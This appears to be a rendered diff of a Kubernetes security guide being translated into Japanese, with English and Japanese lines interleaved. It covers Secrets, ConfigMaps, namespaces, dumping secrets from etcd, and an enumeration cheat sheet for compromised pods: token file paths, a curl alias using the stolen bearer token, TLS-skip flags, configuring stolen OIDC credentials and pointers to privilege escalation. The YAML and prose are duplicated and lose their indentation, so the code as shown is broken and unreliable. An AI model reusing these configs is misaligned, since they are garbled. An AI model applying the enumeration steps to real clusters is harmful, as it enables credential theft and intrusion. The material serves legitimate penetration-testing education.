パスワードがB64でエンコードされていることに注意してください（これは安全ではありません！）
```yaml
apiVersion: v1
kind: Secret
metadata:
name: mongodb-secret
name: mongodb-secret
type: Opaque
data:
mongo-root-username: dXNlcm5hbWU=
mongo-root-password: cGFzc3dvcmQ=
mongo-root-username: dXNlcm5hbWU=
mongo-root-password: cGFzc3dvcmQ=
```
**ConfigMapの例**
**Example of ConfigMap**
A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb):
**ConfigMap**は、ポッドに提供される設定であり、ポッドが他のサービスをどのように見つけてアクセスするかを知るためのものです。この場合、各ポッドは、`mongodb-service`という名前が、通信できるポッドのアドレスであることを知ります（このポッドはmongodbを実行します）：
```yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: mongodb-configmap
name: mongodb-configmap
data:
database_url: mongodb-service
database_url: mongodb-service
```
Then, inside a **deployment config** this address can be specified in the following way so it's loaded inside the env of the pod:
次に、**deployment config**内で、このアドレスは次のように指定でき、ポッドのenv内にロードされます：
```yaml
[...]
spec:
[...]
template:
[...]
spec:
containers:
- name: mongo-express
image: mongo-express
ports:
- containerPort: 8081
env:
- name: ME_CONFIG_MONGODB_SERVER
valueFrom:
configMapKeyRef:
name: mongodb-configmap
key: database_url
[...]
template:
[...]
spec:
containers:
- name: mongo-express
image: mongo-express
ports:
- containerPort: 8081
env:
- name: ME_CONFIG_MONGODB_SERVER
valueFrom:
configMapKeyRef:
name: mongodb-configmap
key: database_url
[...]
```
**ボリューム設定の例**
**Example of volume config**
さまざまなストレージ構成のyamlファイルの例は、[https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes)で見つけることができます。\
**ボリュームは名前空間の中にはありません**
You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
**Note that volumes aren't inside namespaces**
### 名前空間
### Namespaces
Kubernetesは、同じ物理クラスターにバックアップされた**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれています。これは、複数のチームやプロジェクトにまたがる多くのユーザーがいる環境での使用を目的としています。数人から十数人のユーザーがいるクラスターでは、名前空間を作成したり考えたりする必要はありません。Kubernetesにデプロイされたアプリケーションの各部分をより良く制御し、整理するために名前空間を使用し始めるべきです。
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes.
Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**.
There are 4 namespaces by default if you are using minikube:
名前空間は名前のスコープを提供します。リソースの名前は名前空間内で一意である必要がありますが、名前空間間では一意である必要はありません。名前空間は互いにネストすることはできず、**各**Kubernetes **リソース**は**1つの** **名前空間**の中にのみ存在できます。
minikubeを使用している場合、デフォルトで4つの名前空間があります：
```
kubectl get namespace
NAME STATUS AGE
@@ -331,116 +312,108 @@ kube-node-lease Active 1d
kube-public Active 1d
kube-system Active 1d
```
- **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes.
- **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information
- **kube-node-lease**: Determines the availability of a node
- **default**: The namespace the user will use to create resources
- **kube-system**: ユーザーが使用するためのものではなく、触れるべきではありません。マスターとkubectlプロセスのためのものです。
- **kube-public**: 公開アクセス可能なデータ。クラスター情報を含むconfigmapが含まれています。
- **kube-node-lease**: ノードの可用性を決定します。
- **default**: ユーザーがリソースを作成するために使用する名前空間です。
```bash
#Create namespace
kubectl create namespace my-namespace
```
> [!NOTE]
> Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
> 注意すべきは、ほとんどのKubernetesリソース（例：ポッド、サービス、レプリケーションコントローラーなど）は、いくつかのネームスペースに存在します。しかし、ネームスペースリソースやノード、persistentVolumesなどの低レベルリソースはネームスペースに存在しません。どのKubernetesリソースがネームスペースにあり、どれがないかを確認するには：
>
> ```bash
> kubectl api-resources --namespaced=true #In a namespace
> kubectl api-resources --namespaced=false #Not in a namespace
> kubectl api-resources --namespaced=true #ネームスペース内
> kubectl api-resources --namespaced=false #ネームスペース外
> ```
You can save the namespace for all subsequent kubectl commands in that context.
そのコンテキスト内で、すべての後続のkubectlコマンドのためにネームスペースを保存できます。
```bash
kubectl config set-context --current --namespace=<insert-namespace-name-here>
```
### Helm
Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**.
HelmはKubernetesの**パッケージマネージャー**です。YAMLファイルをパッケージ化し、公開およびプライベートリポジトリで配布することができます。これらのパッケージは**Helm Charts**と呼ばれます。
```
helm search <keyword>
```
Helmは、変数を使用して設定ファイルを生成するテンプレートエンジンでもあります。
Helm is also a template engine that allows to generate config files with variables:
## Kubernetesシークレット
## Kubernetes secrets
**シークレット**は、パスワード、トークン、またはキーなどの**機密データを含む**オブジェクトです。このような情報は、Pod仕様やイメージに記載されることがあります。ユーザーはシークレットを作成でき、システムもシークレットを作成します。シークレットオブジェクトの名前は、有効な**DNSサブドメイン名**でなければなりません。こちらで[公式ドキュメント](https://kubernetes.io/docs/concepts/configuration/secret/)をお読みください。
A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
シークレットには以下のようなものがあります：
Secrets might be things like:
- API、SSHキー。
- OAuthトークン。
- 資格情報、パスワード（プレーンテキストまたはb64 + 暗号化）。
- 情報やコメント。
- データベース接続コード、文字列… 。
- API, SSH Keys.
- OAuth tokens.
- Credentials, Passwords (plain text or b64 + encryption).
- Information or comments.
- Database connection code, strings… .
Kubernetesには異なるタイプのシークレットがあります。
There are different types of secrets in Kubernetes
| Builtin Type | Usage |
| ビルトインタイプ | 使用法 |
| ----------------------------------- | ----------------------------------------- |
| **Opaque** | **arbitrary user-defined data (Default)** |
| kubernetes.io/service-account-token | service account token |
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
| kubernetes.io/basic-auth | credentials for basic authentication |
| kubernetes.io/ssh-auth | credentials for SSH authentication |
| kubernetes.io/tls | data for a TLS client or server |
| bootstrap.kubernetes.io/token | bootstrap token data |
| **Opaque** | **任意のユーザー定義データ（デフォルト）** |
| kubernetes.io/service-account-token | サービスアカウントトークン |
| kubernetes.io/dockercfg | シリアライズされた\~/.dockercfgファイル |
| kubernetes.io/dockerconfigjson | シリアライズされた\~/.docker/config.jsonファイル |
| kubernetes.io/basic-auth | ベーシック認証のための資格情報 |
| kubernetes.io/ssh-auth | SSH認証のための資格情報 |
| kubernetes.io/tls | TLSクライアントまたはサーバーのためのデータ |
| bootstrap.kubernetes.io/token | ブートストラップトークンデータ |
> [!NOTE]
> **The Opaque type is the default one, the typical key-value pair defined by users.**
> **Opaqueタイプはデフォルトであり、ユーザーによって定義された典型的なキー-バリューペアです。**
**How secrets works:**
**シークレットの動作：**
![](https://sickrov.github.io/media/Screenshot-164.jpg)
The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
以下の設定ファイルは、`mysecret`という**シークレット**を定義し、2つのキー-バリューペア`username: YWRtaW4=`と`password: MWYyZDFlMmU2N2Rm`を持っています。また、`mysecret`で定義された`username`と`password`が**環境変数**`SECRET_USERNAME` \_\_ と \_\_ `SECRET_PASSWOR`に公開される`secretpod`という**ポッド**も定義しています。さらに、`mysecret`内の`username`シークレットを`/etc/foo/my-group/my-username`のパスに`0640`の権限で**マウント**します。
```yaml:secretpod.yaml
apiVersion: v1
kind: Secret
metadata:
name: mysecret
name: mysecret
type: Opaque
data:
username: YWRtaW4=
password: MWYyZDFlMmU2N2Rm
username: YWRtaW4=
password: MWYyZDFlMmU2N2Rm
---
apiVersion: v1
kind: Pod
metadata:
name: secretpod
name: secretpod
spec:
containers:
- name: secretpod
image: nginx
env:
- name: SECRET_USERNAME
valueFrom:
secretKeyRef:
name: mysecret
key: username
- name: SECRET_PASSWORD
valueFrom:
secretKeyRef:
name: mysecret
key: password
volumeMounts:
- name: foo
mountPath: "/etc/foo"
restartPolicy: Never
volumes:
- name: foo
secret:
secretName: mysecret
items:
- key: username
path: my-group/my-username
mode: 0640
containers:
- name: secretpod
image: nginx
env:
- name: SECRET_USERNAME
valueFrom:
secretKeyRef:
name: mysecret
key: username
- name: SECRET_PASSWORD
valueFrom:
secretKeyRef:
name: mysecret
key: password
volumeMounts:
- name: foo
mountPath: "/etc/foo"
restartPolicy: Never
volumes:
- name: foo
secret:
secretName: mysecret
items:
- key: username
path: my-group/my-username
mode: 0640
```
```bash
@@ -449,114 +422,97 @@ kubectl get pods #Wait until the pod secretpod is running
kubectl exec -it secretpod -- bash
env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```
### Secrets in etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
**etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd:
**etcd** は、すべてのクラスターデータのための Kubernetes バッキングストアとして使用される、一貫性があり高可用性の **キー-バリューストア** です。etcd に保存されているシークレットにアクセスしてみましょう：
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
You will see certs, keys and url’s were are located in the FS. Once you get it, you would be able to connect to etcd.
あなたは、FS内にあるcerts、keys、urlを確認することができます。それを取得すると、etcdに接続できるようになります。
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
```
Once you achieve establish communication you would be able to get the secrets:
一度通信が確立されると、秘密を取得できるようになります：
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02
```
**ETCDに暗号化を追加する**
**Adding encryption to the ETCD**
By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
デフォルトでは、すべてのシークレットは**プレーン**テキストでetcd内に保存されます。暗号化レイヤーを適用しない限り。以下の例は[https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)に基づいています。
```yaml:encryption.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
```
After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines:
その後、作成した設定ファイルの場所を指すように、`kube-apiserver`の`--encryption-provider-config`フラグを設定する必要があります。`/etc/kubernetes/manifest/kube-apiserver.yaml`を修正し、以下の行を追加できます：
```yaml
containers:
- command:
- kube-apiserver
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
- command:
- kube-apiserver
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
```
Scroll down in the volumeMounts:
ボリュームマウント内をスクロールダウンします:
```yaml
- mountPath: /etc/kubernetes/etcd
name: etcd
readOnly: true
name: etcd
readOnly: true
```
Scroll down in the volumeMounts to hostPath:
volumeMountsのhostPathまでスクロールします:
```yaml
- hostPath:
path: /etc/kubernetes/etcd
type: DirectoryOrCreate
name: etcd
path: /etc/kubernetes/etcd
type: DirectoryOrCreate
name: etcd
```
**データが暗号化されていることの確認**
データはetcdに書き込まれる際に暗号化されます。`kube-apiserver`を再起動した後、新しく作成または更新されたシークレットは、保存時に暗号化されるべきです。確認するには、`etcdctl`コマンドラインプログラムを使用してシークレットの内容を取得できます。
1. `default`名前空間に`secret1`という新しいシークレットを作成します:
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
**Verifying that data is encrypted**
2. etcdctlコマンドラインを使用して、そのシークレットをetcdから読み取ります:
Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret.
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
1. Create a new secret called `secret1` in the `default` namespace:
ここで`[...]`はetcdサーバーに接続するための追加引数です。
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
3. 保存されたシークレットが`k8s:enc:aescbc:v1:`で始まっていることを確認します。これは`aescbc`プロバイダーが結果のデータを暗号化したことを示します。
4. APIを介して取得したときにシークレットが正しく復号化されていることを確認します:
2. Using the etcdctl commandline, read that secret out of etcd:
```
kubectl describe secret secret1 -n default
```
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
where `[...]` must be the additional arguments for connecting to the etcd server.
3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
4. Verify the secret is correctly decrypted when retrieved via the API:
```
kubectl describe secret secret1 -n default
```
should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret.
**Since secrets are encrypted on write, performing an update on a secret will encrypt that content:**
は`mykey: bXlkYXRh`と一致するべきです。mydataはエンコードされているため、シークレットを完全に復号化するには[シークレットの復号化](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret)を確認してください。
**シークレットは書き込み時に暗号化されるため、シークレットの更新を行うとその内容が暗号化されます:**
```
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
```
**最終的なヒント:**
**Final tips:**
- Try not to keep secrets in the FS, get them from other places.
- Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
- FSに秘密を保持しないようにし、他の場所から取得してください。
- あなたの秘密にさらなる保護を追加するために[https://www.vaultproject.io/](https://www.vaultproject.io)をチェックしてください。
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
## References
## 参考文献
{{#ref}}
https://sickrov.github.io/
@@ -567,7 +523,3 @@ https://www.youtube.com/watch?v=X48VuDVv0do
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

326
src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
View File

@@ -4,91 +4,86 @@
## Kubernetes Tokens
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var `KUBECONFIG`**で指し示されるファイルか、**`~/.kube`**の中にあります。
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダも見つかります。
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります：
### Service Account Tokens
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、**このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。**
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
Kubernetesの[ドキュメント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)からの引用：
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
_「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」_
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
**ServiceAccount**はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。\
すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token（JWT）であり、2者間での主張を安全に表現する方法です。
Usually **one** of the directories:
通常、次のいずれかのディレクトリに：
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`
contain the files:
ファイルが含まれています：
- **ca.crt**: It's the ca certificate to check kubernetes communications
- **namespace**: It indicates the current namespace
- **token**: It contains the **service token** of the current pod.
- **ca.crt**: Kubernetes通信を確認するためのca証明書です
- **namespace**: 現在の名前空間を示します
- **token**: 現在のポッドの**サービストークン**が含まれています。
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
トークンを取得したので、環境変数**`KUBECONFIG`**内でAPIサーバーを見つけることができます。詳細については、`(env | set) | grep -i "kuber|kube"`**`**を実行してください。
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
サービスアカウントトークンは、ファイル**sa.key**に存在するキーによって署名され、**sa.pub**によって検証されます。
Default location on **Kubernetes**:
**Kubernetes**のデフォルトの場所：
- /etc/kubernetes/pki
Default location on **Minikube**:
**Minikube**のデフォルトの場所：
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
_**Hot podsは**_ 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。
## RBAC
If you don't know what is **RBAC**, **read this section**.
**RBAC**が何であるか知らない場合は、**このセクションを読んでください**。
## GUI Applications
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
- **k9s**: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドは[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)で確認してください。`:namespace`と入力し、すべてを選択してから、すべての名前空間でリソースを検索します。
- **k8slens**: 無料トライアル日を提供しています：[https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
In order to enumerate a K8s environment you need a couple of this:
K8s環境を列挙するには、次のいくつかが必要です：
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
- **有効な認証トークン**。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。
- **Kubernetes APIのアドレス（**_**https://host:port**_**）**。これは通常、環境変数やkube設定ファイルに見つかります。
- **オプション**: **APIサーバーを検証するためのca.crt**。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、`kubectl`で`--insecure-skip-tls-verify`を使用するか、`curl`で`-k`を使用すれば必要ありません。
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
これらの詳細を使用して、**Kubernetesを列挙**できます。**API**が何らかの理由で**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
しかし、通常、**APIサーバーは内部ネットワーク内にあるため**、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**`kubectl`**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。
### Differences between `list` and `get` verbs
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
**`get`**権限を持つと、特定の資産の情報にアクセスできます（_`kubectl`の`describe`オプション_）。
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_):
もし**`list`**権限があれば、資産の種類をリストするためのAPIリクエストを実行することが許可されます（_`kubectl`の`get`オプション_）：
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:
もし**`watch`**権限があれば、資産を監視するためにAPIリクエストを実行することが許可されています：
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -96,16 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
彼らは、変更があるたび（または新しいものが作成されるとき）に、Deploymentの完全なマニフェストを返すストリーミング接続を開きます。
> [!CAUTION]
> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
> 次の`kubectl`コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get`の代わりに`describe`を使用する必要があります。
### Using curl
From inside a pod you can use several env variables:
### curlを使用する
ポッド内から、いくつかの環境変数を使用できます：
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -115,28 +108,24 @@ export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
> デフォルトでは、ポッドは **`kubernetes.default.svc`** のドメイン名で **kube-api サーバー** に **アクセス** でき、ここでは **`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは kubernetes DNS サーバーのアドレスが見つかります（同じ範囲の ".1" が kube-api エンドポイントです）。
### Using kubectl
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
By default, The APISERVER is communicating with `https://` schema
トークンと API サーバーのアドレスを持っている場合、ここに示すように kubectl または curl を使用してアクセスします：
デフォルトでは、APISERVER は `https://` スキーマで通信しています。
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> URLに`https://`が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。
> if no `https://` in url, you may get Error Like Bad Request.
[**公式のkubectlチートシートはこちら**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。
You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
To find the HTTP request that `kubectl` sends you can use the parameter `-v=8`
#### MitM kubectl - Proxyfying kubectl
`kubectl`が送信するHTTPリクエストを見つけるには、パラメータ`-v=8`を使用できます。
#### MitM kubectl - kubectlのプロキシ化
```bash
# Launch burp
# Set proxy
@@ -145,12 +134,10 @@ export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```
### Current Configuration
### 現在の構成
{{#tabs }}
{{#tab name="Kubectl" }}
```bash
kubectl config get-users
kubectl config get-contexts
@@ -160,43 +147,37 @@ kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
```
{{#endtab }}
{{#endtabs }}
If you managed to steal some users credentials you can **configure them locally** using something like:
もしユーザーの資格情報を盗むことに成功した場合、次のような方法で**ローカルに設定する**ことができます:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### サポートされているリソースの取得
### Get Supported Resources
With this info you will know all the services you can list
この情報を使用すると、リストできるすべてのサービスを知ることができます。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
```
{{#endtab }}
{{#endtabs }}
### Get Current Privileges
### 現在の権限を取得
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
@@ -204,413 +185,342 @@ k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
```
{{#endtab }}
{{#endtabs }}
Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
特権を確認する別の方法は、ツールを使用することです: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
You can learn more about **Kubernetes RBAC** in:
**Kubernetes RBAC** について詳しく学ぶには、以下を参照してください:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
**どの特権を持っているかが分かったら、** 次のページを確認して **それを悪用して特権を昇格できるかどうかを調べてください:**
{{#ref}}
